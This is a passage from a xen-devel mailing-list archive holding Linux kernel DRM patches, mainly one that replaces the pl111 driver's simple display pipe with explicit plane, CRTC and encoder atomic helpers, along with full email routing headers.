--- a/drivers/gpu/drm/mcde/mcde_drv.c
+++ b/drivers/gpu/drm/mcde/mcde_drv.c
@@ -109,6 +109,11 @@ static const struct drm_mode_config_helper_funcs mcde_mode_config_helpers = {
 	.atomic_commit_tail = drm_atomic_helper_commit_tail_rpm,
 };
 
+struct mcde *to_mcde(struct drm_device *dev)
+{
+	return container_of(dev, struct mcde, drm);
+}
+
 static irqreturn_t mcde_irq(int irq, void *data)
 {
 	struct mcde *mcde = data;
@@ -186,8 +191,7 @@ static int mcde_modeset_init(struct drm_device *drm)
 	}
 
 	/* Attach the bridge. */
-	ret = drm_simple_display_pipe_attach_bridge(&mcde->pipe,
-						    mcde->bridge);
+	ret = drm_bridge_attach(&mcde->encoder, mcde->bridge, NULL, 0);
 	if (ret) {
 		dev_err(drm->dev, "failed to attach display output bridge\n");
 		return ret;

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363575.1615174 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI04-0002kq-6C; Thu, 16 Jul 2026 09:03:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363575.1615174; Thu, 16 Jul 2026 09:03:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI03-0002kR-JG; Thu, 16 Jul 2026 09:03:23 +0000
Received: by outflank-mailman (input) for mailman id 1363575;
 Thu, 16 Jul 2026 09:03:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkI01-0002bP-7h
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkI00-005ozh-D5
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:20 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e52-bab6-0a2a0a5309dd-0a2a4502d8b4-16
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:20 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e56-6ca4-0a2a45020019-cddcb4836d0a-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:20 +0200
Received: from pps.filterd (m0279868.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G8379d2123300
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:18 GMT
Received: from mail-pl1-f199.google.com (mail-pl1-f199.google.com
 [209.85.214.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feuex0754-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:18 +0000 (GMT)
Received: by mail-pl1-f199.google.com with SMTP id
 d9443c01a7336-2cca5e0a0c9so124162965ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:18 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.09
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	55r0GLq+rjOijTgoMN/kmPKdqc3ccdl0qgtljn8u9eE=; b=C26XvzUVz7hPvlkJ
	dtfVmqDwJbLOkKEWKDJgmb/kIMMISQ55NbZtNXcRWFha+0a6ppGwCUxMU3OW4yOd
	1QXk8NmuQyBs3NkPtLaj70wiPIN06/WzwgCZibnpgfQQauK0UubvNQoG2vwLxS6x
	ZyYywU5gaCL2XvTbQHd/+PvP8nEBEfkAq86FN2YcfDKcAiOuP143fz/ZkgY+nAvn
	sQr1JJ+pUYlXnbIeC8umi3zWhyXNr/FiV14a/0v/xWl3eFByNLlEtKj5xmdOKtkS
	4ynTzP2QAkaUaEZBJNyPLqUJBv/Bk4MbjBinG3nl1N+IT/fsoTRUY5KY/zigyfxv
	N67RLA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192597; x=1784797397; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=55r0GLq+rjOijTgoMN/kmPKdqc3ccdl0qgtljn8u9eE=;
        b=TKupEEaK5nJwWsWnMGmk64/ElIsB2FSFKldS4Kcjvbsz7CVPzhria3ryZs/4YLQpcr
         VO2eumxITj1EUbzveORQsTjevAv3eDEdZUrhXj6nMRsH3TKCyqi78iXKEz27uo9GtCoj
         YlnakQlCj4d3s4luMXj9sQqItt8TvP36UG0CHsdNNctTSjaAamvUY7zr1Zg+VfQId2cZ
         +Cn2hHnlqBEjQz1ggb1kUbUlJF/IKFSwinFdqf+RwH4kE4GZgOprBfbiYzhdndkxr2dX
         iNrMzGwEp64LA0jxD7bgQc88CZ6fCV6DMzcWHx3UdGxHz8gNkjIrkLYYcSTwYdMvYXd9
         DoDg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192597; x=1784797397;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=55r0GLq+rjOijTgoMN/kmPKdqc3ccdl0qgtljn8u9eE=;
        b=jce1ZbgvMxfx5IeX/ZrBzn2MuOLeKM+omYP0awzdU0sxkaBKwDeCmjFocJZVpat0Da
         UQliwhvQtZv6QkF10iujoKrV+KsK64ZNXtJvwrpc74IpHO+nughHtkOpFtYWt2U6aPiF
         PhkLIHmKGf4S/SqTMXxet6cxkoaRVnI8eI138i+8of0gKo2NbbvMVUcsPHpQ33Mt/g3A
         D/z5lK+x5JdUEm8UO3sqZ/m0QbAQ/uTqmMApPoc26GdR7Y8pF3CsYaQGOAVkd2ieQX6G
         XTdsexzhiuQj4ogwcxU6piNZ4cinYKuQXXx1xa50IGOwX4BYW/ieUdEHpYnRUl7Huwu2
         LRyQ==
X-Forwarded-Encrypted: i=1; AHgh+RrAem3Tpdq6E71/PV1L/n4SzyIv1A4+7RFG+AkJScbkls643ELoW105gKC59XZDrtbEdLVwUkIfe9Q=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwrNH3NWckpOognOhtG7bvWoSXb9lZe6nAU87FPfvZBEWxFWjqe
	th1YmsdxhpQC71pwGvFxVvd4ZvkacfOhNVNHjaLFKasIOFcTA+qwYTAcjNsiUgdTzHbcsOk4Bzh
	jLOwnMmB02QCVzQXguwom5510zv+vs49j/tq4ARf8S1YqFI5JdZ1O5uYa3PsfZYJzejHhmtTD5j
	p3uOTM
X-Gm-Gg: AfdE7cnauk5ZXpFgdyO2gZ0pJZExif3Wks+LFCr7rei1oRxuwatWCjiSMUSK2Of2iRN
	vnyYns18YES5eZnpRbr/Z7nXBmekkhG8XrcS84rlp4wcrkDQT/1FE7ottMymWpTm9t1IFOqqHoB
	jtO+xFy98VcLgHK2g+xAGHkrWEyXA83UawoFIcP0qJ5cmCRp7gHZOGsCDPg0ssHjT/05Syd6L44
	41GXcMbdK7j/08Fc08RjiEqZKbeHHUzYKGM9ITRCuRb8dGzYAK8btXkw17DusTcQXl5BLoxB1kV
	+aYm/tf7Jv3Rs1IbKrz54Yq2SKxqnIZFJGjYpHB9BtEyzrN7RHKZ5VKWqK9waIRP+fB67cfMm4G
	I46Ci6awwea1hTnrmCUmO
X-Received: by 2002:a17:903:19ec:b0:2c2:be43:39bc with SMTP id d9443c01a7336-2cf03cef84dmr63597495ad.22.1784192597253;
        Thu, 16 Jul 2026 02:03:17 -0700 (PDT)
X-Received: by 2002:a17:903:19ec:b0:2c2:be43:39bc with SMTP id d9443c01a7336-2cf03cef84dmr63596785ad.22.1784192596609;
        Thu, 16 Jul 2026 02:03:16 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:56 +0800
Subject: [PATCH v2 4/8] drm/pl111: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-4-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=12120;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=POjWDqTR7KA6vV+N+6pzc8ko2zyOgyhZdHPtBjStvhg=;
 b=Tofb07iFvogf+FT89l3hQY+BQDy+VIGw+zIPY/135cZWAhoei9Fh06Fxb6+Sn+8KL7yidlrT4
 urA+kbKxQ36AHKQvNj9ESxfXbRWFcD2Tz0ltw26pBD5TXObL2so68S8
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=JeeMa0KV c=1 sm=1 tr=0 ts=6a589e56 cx=c_pps
 a=JL+w9abYAAE89/QcEU+0QA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=ZpdpYltYx_vBUK5n70dp:22
 a=EUspDBNiAAAA:8 a=UMw5XeoU1RqEgw99msIA:9 a=QEXdDO2ut3YA:10
 a=324X-CrmTo6CU4MGRt3R:22
X-Proofpoint-ORIG-GUID: Shii65TYO64sxWtNoKpXLv4hfG3_qnxG
X-Proofpoint-GUID: Shii65TYO64sxWtNoKpXLv4hfG3_qnxG
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX8fhkYhjzMNL6
 Ps//Ea/qsFdQFxcvFwAsDGYarMw5diH65pBfe2D50HxJBEIm4toKrwJ0UDOtzBFkO5t/HzkVUdc
 7mLNPxXlILa0V4/PCyoGIPit4Cql/sA=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX8j69nRj6oW9J
 Uj4AP5dm8pEKivVQilthWymF28kaFzu8ZdP8O7D8A+np+/JZQeZp70jl/K6vwRyv5A+otmbPSvG
 Ylj1cr/95gp9ogaVIrXqmF/9EnhztA6aoqQz/GBhzJtY+AKIBbs6UaGMSLbJWKnG52Odp02+swf
 TizA1osuWpybF3AOfeaoYInHIDaxc50Lyy3T00uAAXDcaR8BCGDurAL6uciZsZljGHRsv7xAANx
 +JSV/1WTefTyWzVaMJbey+OPVhC+iVvUDIzU8dZycGNsCLa1xoGCiAPjPm/EnG+5L+gAVeBYxDn
 dYkwJluS5AcMuhyn8DgPwnmscmNCtimBMucSWbeb/xDc5042Aa4teBnjMUJ7vuYV4HVap4S+0lh
 BSQ+Km5J2teazxVF2IDkdgJ6GP25xvAEb+WZ7fuhyo5mP6l+FiXYPsmBIWLNPRLcQrOnwlqWz1l
 inAvMt5q8eFEV5Amvzw==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 adultscore=0 clxscore=1015 suspectscore=0 lowpriorityscore=0
 priorityscore=1501 impostorscore=0 phishscore=0 malwarescore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-720697/1784192600-678BC2AC-409A5664/0/0
X-purgate-type: clean
X-purgate-size: 12122

Replace PL111 simple display pipe with explicit plane, CRTC and encoder
objects.

Keep the existing PL111 timing, format and pitch validation, but move it
into the explicit atomic check paths. Move event handling to the CRTC
commit path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/pl111/pl111_display.c | 202 ++++++++++++++++++++++++----------
 drivers/gpu/drm/pl111/pl111_drm.h     |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c     |   3 +-
 3 files changed, 150 insertions(+), 60 deletions(-)

diff --git a/drivers/gpu/drm/pl111/pl111_display.c b/drivers/gpu/drm/pl111/pl111_display.c
index 5d10bc5fdf1f..beb6423d4d43 100644
--- a/drivers/gpu/drm/pl111/pl111_display.c
+++ b/drivers/gpu/drm/pl111/pl111_display.c
@@ -15,6 +15,7 @@
 #include <linux/media-bus-format.h>
 #include <linux/of_graph.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
@@ -37,7 +38,7 @@ irqreturn_t pl111_irq(int irq, void *data)
 		return IRQ_NONE;
 
 	if (irq_stat & CLCD_IRQ_NEXTBASE_UPDATE) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 
 		status = IRQ_HANDLED;
 	}
@@ -49,10 +50,10 @@ irqreturn_t pl111_irq(int irq, void *data)
 }
 
 static enum drm_mode_status
-pl111_mode_valid(struct drm_simple_display_pipe *pipe,
-		 const struct drm_display_mode *mode)
+pl111_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			     const struct drm_display_mode *mode)
 {
-	struct drm_device *drm = pipe->crtc.dev;
+	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cpp = DIV_ROUND_UP(priv->variant->fb_depth, 8);
 	u64 bw;
@@ -83,13 +84,32 @@ pl111_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static int pl111_display_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *pstate,
-			       struct drm_crtc_state *cstate)
+static int pl111_plane_helper_atomic_check(struct drm_plane *plane,
+					   struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (crtc)
+		cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible)
+		return 0;
+
+	mode = &cstate->mode;
 
 	if (mode->hdisplay % 16)
 		return -EINVAL;
@@ -117,16 +137,14 @@ static int pl111_display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *cstate,
-				 struct drm_plane_state *plane_state)
+static void pl111_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = priv->plane.state->fb;
 	struct drm_connector *connector = priv->connector;
 	struct drm_bridge *bridge = priv->bridge;
 	bool grayscale = false;
@@ -355,9 +373,9 @@ static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
 		drm_crtc_vblank_on(crtc);
 }
 
-static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
+static void pl111_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cntl;
@@ -387,38 +405,47 @@ static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
 	clk_disable_unprepare(priv->clk);
 }
 
-static void pl111_display_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_pstate)
+static void pl111_plane_helper_atomic_update(struct drm_plane *plane,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct pl111_drm_dev_private *priv = drm->dev_private;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_device *drm;
+	struct pl111_drm_dev_private *priv;
 	struct drm_framebuffer *fb = pstate->fb;
 
-	if (fb) {
-		u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+	if (!fb)
+		return;
 
-		writel(addr, priv->regs + CLCD_UBAS);
-	}
+	drm = crtc->dev;
+	priv = drm->dev_private;
 
-	if (event) {
-		crtc->state->event = NULL;
+	u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
 
-		spin_lock_irq(&crtc->dev->event_lock);
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
+	writel(addr, priv->regs + CLCD_UBAS);
+}
+
+static void pl111_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = cstate->event;
+
+	if (!event)
+		return;
+
+	cstate->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (cstate->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
 }
 
-static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int pl111_display_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
@@ -427,21 +454,62 @@ static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void pl111_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void pl111_display_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
 	writel(0, priv->regs + priv->ienb);
 }
 
-static struct drm_simple_display_pipe_funcs pl111_display_funcs = {
-	.mode_valid = pl111_mode_valid,
-	.check = pl111_display_check,
-	.enable = pl111_display_enable,
-	.disable = pl111_display_disable,
-	.update = pl111_display_update,
+static int pl111_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static struct drm_crtc_funcs pl111_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs pl111_crtc_helper_funcs = {
+	.mode_valid	= pl111_crtc_helper_mode_valid,
+	.atomic_check	= pl111_crtc_helper_atomic_check,
+	.atomic_enable	= pl111_crtc_helper_atomic_enable,
+	.atomic_disable	= pl111_crtc_helper_atomic_disable,
+	.atomic_flush	= pl111_crtc_helper_atomic_flush,
+};
+
+static const struct drm_plane_funcs pl111_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs pl111_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= pl111_plane_helper_atomic_check,
+	.atomic_update	= pl111_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs pl111_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int pl111_clk_div_choose_div(struct clk_hw *hw, unsigned long rate,
@@ -583,18 +651,40 @@ int pl111_display_init(struct drm_device *drm)
 		return ret;
 
 	if (!priv->variant->broken_vblank) {
-		pl111_display_funcs.enable_vblank = pl111_display_enable_vblank;
-		pl111_display_funcs.disable_vblank = pl111_display_disable_vblank;
+		pl111_crtc_funcs.enable_vblank = pl111_display_enable_vblank;
+		pl111_crtc_funcs.disable_vblank = pl111_display_disable_vblank;
 	}
 
-	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
-					   &pl111_display_funcs,
-					   priv->variant->formats,
-					   priv->variant->nformats,
-					   NULL,
-					   priv->connector);
+	ret = drm_universal_plane_init(drm, &priv->plane, 0,
+				       &pl111_plane_funcs,
+				       priv->variant->formats,
+				       priv->variant->nformats,
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&priv->plane, &pl111_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &priv->crtc, &priv->plane,
+					NULL, &pl111_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&priv->crtc, &pl111_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &priv->encoder, &pl111_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret)
 		return ret;
 
+	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
+
+	if (priv->connector) {
+		ret = drm_connector_attach_encoder(priv->connector,
+						   &priv->encoder);
+		if (ret)
+			return ret;
+	}
+
 	return 0;
 }
diff --git a/drivers/gpu/drm/pl111/pl111_drm.h b/drivers/gpu/drm/pl111/pl111_drm.h
index d1fe756444ee..ec92a5a180a8 100644
--- a/drivers/gpu/drm/pl111/pl111_drm.h
+++ b/drivers/gpu/drm/pl111/pl111_drm.h
@@ -21,7 +21,6 @@
 #include <drm/drm_encoder.h>
 #include <drm/drm_gem.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 
 /*
  * CLCD Controller Internal Register addresses
@@ -135,7 +134,9 @@ struct pl111_drm_dev_private {
 	struct drm_connector *connector;
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	void *regs;
 	u32 memory_bw;
diff --git a/drivers/gpu/drm/pl111/pl111_drv.c b/drivers/gpu/drm/pl111/pl111_drv.c
index ac7b1d12a0f5..f649c266c33a 100644
--- a/drivers/gpu/drm/pl111/pl111_drv.c
+++ b/drivers/gpu/drm/pl111/pl111_drv.c
@@ -168,8 +168,7 @@ static int pl111_modeset_init(struct drm_device *dev)
 		goto out_bridge;
 	}
 
-	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
-						    bridge);
+	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363583.1615181 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0B-0003Cl-5H; Thu, 16 Jul 2026 09:03:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363583.1615181; Thu, 16 Jul 2026 09:03:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0A-0003CF-IT; Thu, 16 Jul 2026 09:03:30 +0000
Received: by outflank-mailman (input) for mailman id 1363583;
 Thu, 16 Jul 2026 09:03:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkI07-00033O-VW
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkI07-0078Bq-BH
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:27 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e59-5cb7-0a2a0a5109dd-0a2a4501e606-38
